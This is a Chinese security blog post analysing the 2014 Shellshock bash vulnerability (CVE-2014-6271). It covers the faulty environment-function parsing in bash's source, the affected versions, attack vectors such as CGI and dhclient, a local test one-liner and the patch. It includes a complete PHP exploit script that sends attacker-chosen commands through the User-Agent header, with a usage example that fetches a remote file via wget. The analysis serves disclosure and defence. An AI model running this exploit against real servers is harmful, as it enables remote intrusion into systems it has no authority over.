您的位置 » 首页 » 代码审计,渗透测试 » 漏洞分析:CVE-2014-6271 bash远程命令执行漏洞分析

漏洞分析:CVE-2014-6271 bash远程命令执行漏洞分析

发表于2年前 | 作者: seay | 分类: 代码审计, 渗透测试 | 孵化于:2014年09月25日 | 文章热度:9,288 次 全屏阅读

显示不全请点击全屏阅读

  bash的命令执行漏洞,目前已经有人写出了批量利用程序,漏洞曝光后,我也对漏洞进行了测试,该漏洞影响header所有字段包括自定义的字段。

测试截图如下,检测工具比较简单,这次就不写了,只要执行curl命令回来一个请求就可以判断目标是否存在漏洞。

2

—————————————————————————————————————————————————————————————————————————

关于漏洞的详情分析可以看下文,出自http://www.cnblogs.com/LittleHann/p/3992778.html 

目录

1. 漏洞的起因 2. 漏洞原理分析 3. 漏洞的影响范围 4. 漏洞的POC、测试方法 5. 漏洞的修复Patch

 

1. 漏洞的起因

这个漏洞的起因源自于Bash(Bourne Again SHell)的ENV指令

http://ss64.com/bash/env.html

env: Display, set, or remove environment variables, Run a command in a modified environment.

复制代码
Syntax
     env [OPTION]... [NAME=VALUE]... [COMMAND [ARGS]...] 1. Options 1) -u NAME 2) --unset=NAME
    Remove variable NAME from the environment, if it was in the environment. 3) -i --ignore-environment
    Start with an empty environment, ignoring the inherited environment. 2. COMMAND [ARGS]
需要执行的指令
复制代码

对这个指令,有两个关键点要注意

1. ENV指令允许临时改变环境变量,即指定本次指令执行的环境变量,这从一定程度上给了黑客进行PATH Hajaking的可能性 2. ENV指令还允许在设置环境变量后进行指令执行,从某种程度上来说,ENV相当于一个指令执行的指令,同时还附带有临时设置环境变量的功能

Relevant Link:

http://ss64.com/bash/env.html http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271

 

2. 漏洞原理分析

虽然ENV是一个指令执行的指令,但是这并不是这次CVE漏洞的产生原因,原因在于

ENV的指令执行走的是正常的BASH指令解析、执行流程,而在一个采取了安全配置的服务器上,对敏感指令的执行都是进行用户级别的权限限制的,所以,ENV本身并不是任意指令执行。真正导致命令任意执行的原因是”Code Injection”,即代码注入

Under certain circumstances, bash will execute user code while processing the environment for exported function definitions.

我们以bash-3.2版本的源代码为例进行分析

http://download.chinaunix.net/download.php?id=24862&ResourceID=7

\bash-3.2\builtins\evalstring.c

复制代码
... if (interactive_shell == 0 && read_but_dont_execute)
{
    last_result = EXECUTION_SUCCESS;
    dispose_command (global_command);
    global_command = (COMMAND *)NULL;
} else if (command = global_command)
{ struct fd_bitmap *bitmap; /* 这里没有对传入的command进行正确的边界检查,引入了代码注入的可能性 */ bitmap = new_fd_bitmap (FD_BITMAP_SIZE);
    begin_unwind_frame ("pe_dispose");
    add_unwind_protect (dispose_fd_bitmap, bitmap);
    add_unwind_protect (dispose_command, command); /* XXX */ global_command = (COMMAND *)NULL;
...
复制代码

\bash-3.2\variables.c

这个文件负责对bash中的变量进行解析,我们在ENV中进行的临时环境变量设置,将在这个文件中完成

复制代码
/* Initialize the shell variables from the current environment. If PRIVMODE is nonzero, don't import functions from 
ENV 
or
parse $SHELLOPTS. */ void initialize_shell_variables (env, privmode) char **env; int privmode;
{
    ...
    create_variable_tables (); /* 从ENV环境变量中获取参数 */ for (string_index = 0; string = env[string_index++]; )
    {
        char_index = 0;
        name = string; while ((c = *string++) && c != '=') ; if (string[-1] == '=')
            char_index = string - name - 1; /* If there are weird things in the environment, like `=xxx' or a
            string without an `=', just skip them. */ if (char_index == 0) continue; /* ASSERT(name[char_index] == '=') */ name[char_index] = '\0'; /* Now, name = env variable name, string = env variable value, and char_index == strlen (name) */ /* If exported function, define it now.  Don't import functions from the environment in privileged mode.
        解析环境变量设置中的函数定义 */ if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
        {
            string_length = strlen (string);
            temp_string = (char *)xmalloc (3 + string_length + char_index);

            strcpy (temp_string, name);
            temp_string[char_index] = ' ';

            strcpy (temp_string + char_index + 1, string); /* 这句是关键,initialize_shell_variables对环境变量中的代码进行了执行,由于它错误的信任的外部发送的数据,形成了和SQL注入类似的场景,这句代码和PHP中的eval是类似的,黑客只要满足2个条件
            1. 控制发送的参数,并在其中拼接payload
            2. 黑客发送的包含payload的参数会被无条件的执行,而执行方不进行任何的边界检查

            这就是典型的数据和代码没有进行正确区分导致的漏洞 */ parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST); // Ancient backwards compatibility.  Old versions of bash exported functions like name()=() {...}  if (name[char_index - 1] == ')' && name[char_index - 2] == '(')
                name[char_index - 2] = '\0'; if (temp_var = find_function (name))
            {
                VSETATTR (temp_var, (att_exported|att_imported));
                array_needs_making = 1;
            } else report_error (_("error importing function definition for `%s'"), name); /* ( */ if (name[char_index - 1] == ')' && name[char_index - 2] == '\0')
                name[char_index - 2] = '('; /* ) */ }
    }
}
复制代码

从这个角度来看,这种漏洞应该采用防御SQL注入的思路来进行,对漏洞原理进行一下总结

复制代码
1. bash(本地、ssh、cgi)允许使用ENV进行path临时设置 2. 黑客通过自定义函数,并导出到变量中 3. BASH对环境变量的设置是通过"代码执行(EVAl)"完成的,即把ENV的参数当成code来执行,这在正常情况下是没有问题的 4. 问题的关键是BASH没有对传入的参数进行正确的边界检查,导致数据和代码的混杂,产生了和PHP EVAL Code InJection类似的漏洞
env x='() { :;}; echo vulnerable' 5. 代码注入的关键点在
; echo vulnerable
复制代码

Relevant Link:

http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052

 

3. 漏洞的影响范围

这个漏洞属于代码级漏洞,所以漏洞的影响范围和Bash的源代码版本有关

复制代码
bash-4.2.45-5.el7_0.2 bash-4.1.2-15.el6_5.1 bash-4.1.2-15.el6_5.1.sjis.1 bash-4.1.2-9.el6_2.1 bash-4.1.2-15.el6_4.1 bash-3.2-33.el5.1 bash-3.2-33.el5_11.1.sjis.1 bash-3.2-24.el5_6.1 bash-3.2-32.el5_9.2 bash-3.0-27.el4.2
复制代码

 

4. 漏洞的POC、测试方法

0x1: 攻击的场景

要发动这个攻击,需要满足以下几个条件

复制代码
1. 我们的攻击目标存在cmd执行的交互接口 1) 本地交互shell:这是最直接的方式 2) SSH:使用SSH进行bash执行需要你知道对方的ssh帐号密码 3) FTP:需要对方开启了ftp cms的执行权限,已经你已经有了一个ftp的帐号密码 4) cgi:需要对方开启了CGI的解析模块 2. 我们有办法设置目标(或者临时设置)的环境变量 3. 我们可以控制即将进行环境变量设置的参数 
复制代码

根据这些先决条件,我们可以得到一些攻击向量

复制代码
1. httpd 1) webserver常常将Referer、UserAgent、header等参数作为环境变量的设置源 2) 服务器提供了CGI脚本,当 CGI script被webserver执行的时候,CGI Script会去调用Bash
黑客可以通过开启了CGI的httpd服务器进行远程代码执行 2. Secure Shell (SSH)
对于git、rsync这类远程shell来说,常常会对用户可以执行的指令进行严格限制,但是这个BASH解析漏洞提供了一个bypass的向量 3. dhclient
动态主机配置协议客户端(dhclient的)被用来通过DHCP自动获取网络配置信息。该客户端使用不同的环境变量和运行bash来配置网络接口。连接到一个恶意的DHCP服务器可能允许攻击者在客户机上运行任意代码。
黑客通过在域中的DHCP服务器中对DHCP的回送包进行特定的修改,可以达到污染dhcpclient的环境变量参数的目的,从而进行远程代码执行 4. CUPS 5. sudo 6. Firefox
复制代码

0x2: 手工测试方法

复制代码
poc: 
env x='() { :;}; echo vulnerable' bash -c "echo this is a test" expected result: 
vulnerable this is a test //如果出现这个结果,则说明本机的bash存在漏洞
复制代码

0x3: 自动化测试方法

复制代码
<?php /* Title: Bash Specially-crafted Environment Variables Code Injection Vulnerability
CVE: 2014-6271
Vendor Homepage: https://www.gnu.org/software/bash/ Author: Prakhar Prasad && Subho Halder
Author Homepage: https://prakharprasad.com && https://appknox.com Date: September 25th 2014
Tested on: Mac OS X 10.9.4/10.9.5 with Apache/2.2.26
       GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
Usage: php bash.php -u http://<hostname>/cgi-bin/<cgi> -c cmd
       Eg. php bash.php -u http://localhost/cgi-bin/hello -c "wget http://appknox.com -O /tmp/shit"
Reference: https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/ Test CGI Code : #!/bin/bash
        echo "Content-type: text/html"
        echo ""
        echo "Bash-is-Vulnerable" */ error_reporting(0); if(!defined('STDIN')) die("Please run it through command-line!\n");
$x = getopt("u:c:"); if(!isset($x['u']) || !isset($x['c']))
{
die("Usage: ".$_SERVER['PHP_SELF']." -u URL -c cmd\n");
 
}
$url = $x['u'];
$cmd = $x['c'];
 
    $context = stream_context_create(
        array( 'http' => array( 'method' => 'GET', 'header' => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"' )
        )
    ); if(!file_get_contents($url, false, $context) && strpos($http_response_header[0],"500") > 0)
    die("Command sent to the server!\n"); else die("Connection Error\n"); ?>
 
复制代码

Relevant Link:

http://www.exploit-db.com/exploits/34766/

 

5. 漏洞的修复Patch

从攻击方法上来看,这种漏洞属于边界检查缺失导致的代码注入漏洞,所以我们的修复思路也应该从这两个方面入手

1. 进行正确的边界检查,严格区分函数定义和代码注入 2. 对输入参数进行参数化防御,不允许除了允许范围之外的参数传入

builtins/common.h

/* Flags for describe_command, shared between type.def and command.def */ #define SEVAL_FUNCDEF   0x080    /* only allow function definitions */ #define SEVAL_ONECMD  0x100    /* only allow a single command */

builtins/evalstring.c

复制代码
if ((flags & SEVAL_FUNCDEF) && command->type != cm_function_def)
{
    internal_warning ("%s: ignoring function definition attempt", from_file);
    should_jump_to_top_level = 0;
    last_result = last_command_exit_value = EX_BADUSAGE; break;
}
.. if (flags & SEVAL_ONECMD) break;
复制代码

Relevant Link:

http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052

Tags:

CVE漏洞,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/4068/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

已经有2个筒子的人留下了脚印...

  • 非凡站长博客 说:
    1楼
    2014 年 9 月 25 日 下午 3:35 回复

    这个漏洞对我们来说 利用都是个问题 😈

  • nosun 说:
    2楼
    2014 年 9 月 26 日 下午 12:46 回复

    不明觉厉

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)